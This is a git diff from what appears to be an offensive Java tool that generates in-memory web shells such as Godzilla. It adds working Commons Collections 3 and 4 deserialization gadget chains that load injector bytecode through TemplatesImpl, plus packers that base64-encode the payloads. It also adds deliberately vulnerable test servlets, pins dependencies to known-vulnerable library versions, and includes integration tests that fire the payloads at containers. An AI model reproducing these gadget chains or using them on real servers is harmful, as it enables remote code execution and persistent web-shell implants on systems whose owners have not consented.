diff --git a/build.gradle b/build.gradle index a0909fe8..755b07d3 100644 --- a/build.gradle +++ b/build.gradle @@ -36,9 +36,9 @@ jacocoTestReport { classDirectories.from( fileTree('generator/build/classes/java/main') { excludes = [ - 'com/reajason/javaweb/memsell/**/godzilla/**', - 'com/reajason/javaweb/memsell/**/injector/**', - 'com/reajason/javaweb/memsell/**/command/**', + 'com/reajason/javaweb/memshell/**/godzilla/**', + 'com/reajason/javaweb/memshell/**/injector/**', + 'com/reajason/javaweb/memshell/**/command/**', 'com/reajason/javaweb/config/**' ] } diff --git a/deserialize/build.gradle b/deserialize/build.gradle index 68050e8f..47b32179 100644 --- a/deserialize/build.gradle +++ b/deserialize/build.gradle @@ -6,10 +6,13 @@ group = 'com.reajason.javaweb' version = rootProject.version dependencies { + implementation project(":common") implementation 'net.bytebuddy:byte-buddy' implementation 'com.caucho:hessian:4.0.66' - implementation 'commons-beanutils:commons-beanutils:1.9.4' + implementation 'commons-beanutils:commons-beanutils:1.9.2' + implementation 'commons-collections:commons-collections:3.2.1' + implementation 'org.apache.commons:commons-collections4:4.0' testImplementation platform('org.junit:junit-bom') testImplementation 'org.junit.jupiter:junit-jupiter' diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java index 451f03ee..4ad84854 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java @@ -1,10 +1,7 @@ package com.reajason.javaweb.deserialize; import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18; -import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.payload.java.*; import lombok.Getter; /** @@ -21,6 +18,12 @@ public enum PayloadType { CommonsBeanutils19(new CommonsBeanutils19()), CommonsBeanutils110(new CommonsBeanutils110()), + /** + * CC 链 + */ + CommonsCollections3(new CommonCollections3()), + CommonsCollections4(new CommonCollections4()), + /** * Hessian XSLT write */ diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java index 919a6484..64403621 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java @@ -1,12 +1,13 @@ package com.reajason.javaweb.deserialize; +import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.deserialize.utils.Reflections; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.jar.asm.Opcodes; /** * @author ReaJason @@ -20,6 +21,7 @@ public class TemplateUtils { byte[] fooBytes; try (DynamicType.Unloaded make = new ByteBuddy() .subclass(Object.class).name("foo") + .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6)) .make()) { fooBytes = make.getBytes(); } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java new file mode 100644 index 00000000..d53d748b --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections3.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.deserialize.payload.java; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import lombok.SneakyThrows; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +/** + * CC11 链 from CommonsCollections11.md + * + * @author ReaJason + * @since 2025/4/2 + */ +public class CommonCollections3 implements Payload { + + @Override + @SneakyThrows + @SuppressWarnings({"rawtypes", "unchecked"}) + public Object generate(byte[] bytes) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + + InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null); + + Map innerMap = new HashMap<>(); + Map outerMap = LazyMap.decorate(innerMap, invokerTransformer); + + TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates); + + Map expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "valueTest"); + outerMap.remove(templates); + + Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer"); + return expMap; + } +} diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java new file mode 100644 index 00000000..866af787 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/java/CommonCollections4.java @@ -0,0 +1,39 @@ +package com.reajason.javaweb.deserialize.payload.java; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import lombok.SneakyThrows; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2025/4/2 + */ +public class CommonCollections4 implements Payload { + + @Override + @SneakyThrows + @SuppressWarnings({"rawtypes", "unchecked"}) + public Object generate(byte[] bytes) { + TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes); + ChainedTransformer chain = + new ChainedTransformer( + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, new Object[]{templates})); + TransformingComparator comparator = new TransformingComparator(chain); + PriorityQueue queue = new PriorityQueue(2, comparator); + Reflections.setFieldValue(queue, "size", 2); + Reflections.setFieldValue(queue, "comparator", comparator); + return queue; + } +} diff --git a/generator/build.gradle b/generator/build.gradle index bc13edb5..c2316dda 100644 --- a/generator/build.gradle +++ b/generator/build.gradle @@ -10,7 +10,7 @@ java { targetCompatibility = JavaVersion.VERSION_1_8 } -group = 'com.reajason.javaweb.memsell' +group = 'com.reajason.javaweb' version = rootProject.version tasks.withType(Test).configureEach { @@ -35,6 +35,7 @@ test { dependencies { implementation project(":common") implementation project(":deserialize") + implementation project(":memshell") implementation project(":memshell-java8") implementation 'net.bytebuddy:byte-buddy' diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java index 2c68dd9c..c48bed14 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Packers.java @@ -103,6 +103,8 @@ public enum Packers { JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class), + JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class), + JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class), /** * Hessian 反序列化打包器 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java new file mode 100644 index 00000000..c8210e6b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections3Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsCollections3Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsCollections3); + return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java new file mode 100644 index 00000000..66776fed --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsCollections4Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.JavaDeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsCollections4Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsCollections4); + return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 179b7287..d1354474 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -332,6 +332,8 @@ public class ShellAssertionTool { case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content); case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content); case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content); + case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content); + case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postData(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); case Base64 -> VulTool.postData(url + "/b64", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index 9a799f64..f41e6892 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -47,6 +47,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize) ); diff --git a/vul/vul-webapp-deserialize/build.gradle b/vul/vul-webapp-deserialize/build.gradle index 9a0b3571..1cbc63a2 100644 --- a/vul/vul-webapp-deserialize/build.gradle +++ b/vul/vul-webapp-deserialize/build.gradle @@ -16,6 +16,8 @@ configurations { cb183 cb170 cb161 + cc321 + cc40 } dependencies { @@ -24,6 +26,8 @@ dependencies { cb183 'commons-beanutils:commons-beanutils:1.8.3' cb170 'commons-beanutils:commons-beanutils:1.7.0' cb161 'commons-beanutils:commons-beanutils:1.6.1' + cc321 'commons-collections:commons-collections:3.2.1' + cc40 'org.apache.commons:commons-collections4:4.0' implementation 'com.caucho:hessian:4.0.66' providedCompile 'javax.servlet:javax.servlet-api:3.1.0' @@ -40,6 +44,8 @@ war { copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" } copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" } copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cc321 into "src/main/webapp/WEB-INF/dep" } + copy { from configurations.cc40 into "src/main/webapp/WEB-INF/dep" } } } diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java new file mode 100644 index 00000000..b4ba1a67 --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC321jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Collections; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cc321") +public class JavaReadObjCC321jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Collections.singletonList("commons-collections-3.2.1.jar"); + } + +} diff --git a/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java new file mode 100644 index 00000000..36ea4dfd --- /dev/null +++ b/vul/vul-webapp-deserialize/src/main/java/JavaReadObjCC40jServlet.java @@ -0,0 +1,17 @@ +import javax.servlet.annotation.WebServlet; +import java.util.Collections; +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@WebServlet("/java_deserialize/cc40") +public class JavaReadObjCC40jServlet extends BaseDeserializeServlet { + + @Override + List getDependentPaths() { + return Collections.singletonList("commons-collections4-4.0.jar"); + } + +} diff --git a/vul/vul-webapp/build.gradle b/vul/vul-webapp/build.gradle index 7647b036..613e2e74 100644 --- a/vul/vul-webapp/build.gradle +++ b/vul/vul-webapp/build.gradle @@ -12,6 +12,6 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' - implementation 'commons-beanutils:commons-beanutils:1.9.4' + implementation 'commons-beanutils:commons-beanutils:1.9.2' providedCompile "javax.servlet:servlet-api:2.5" }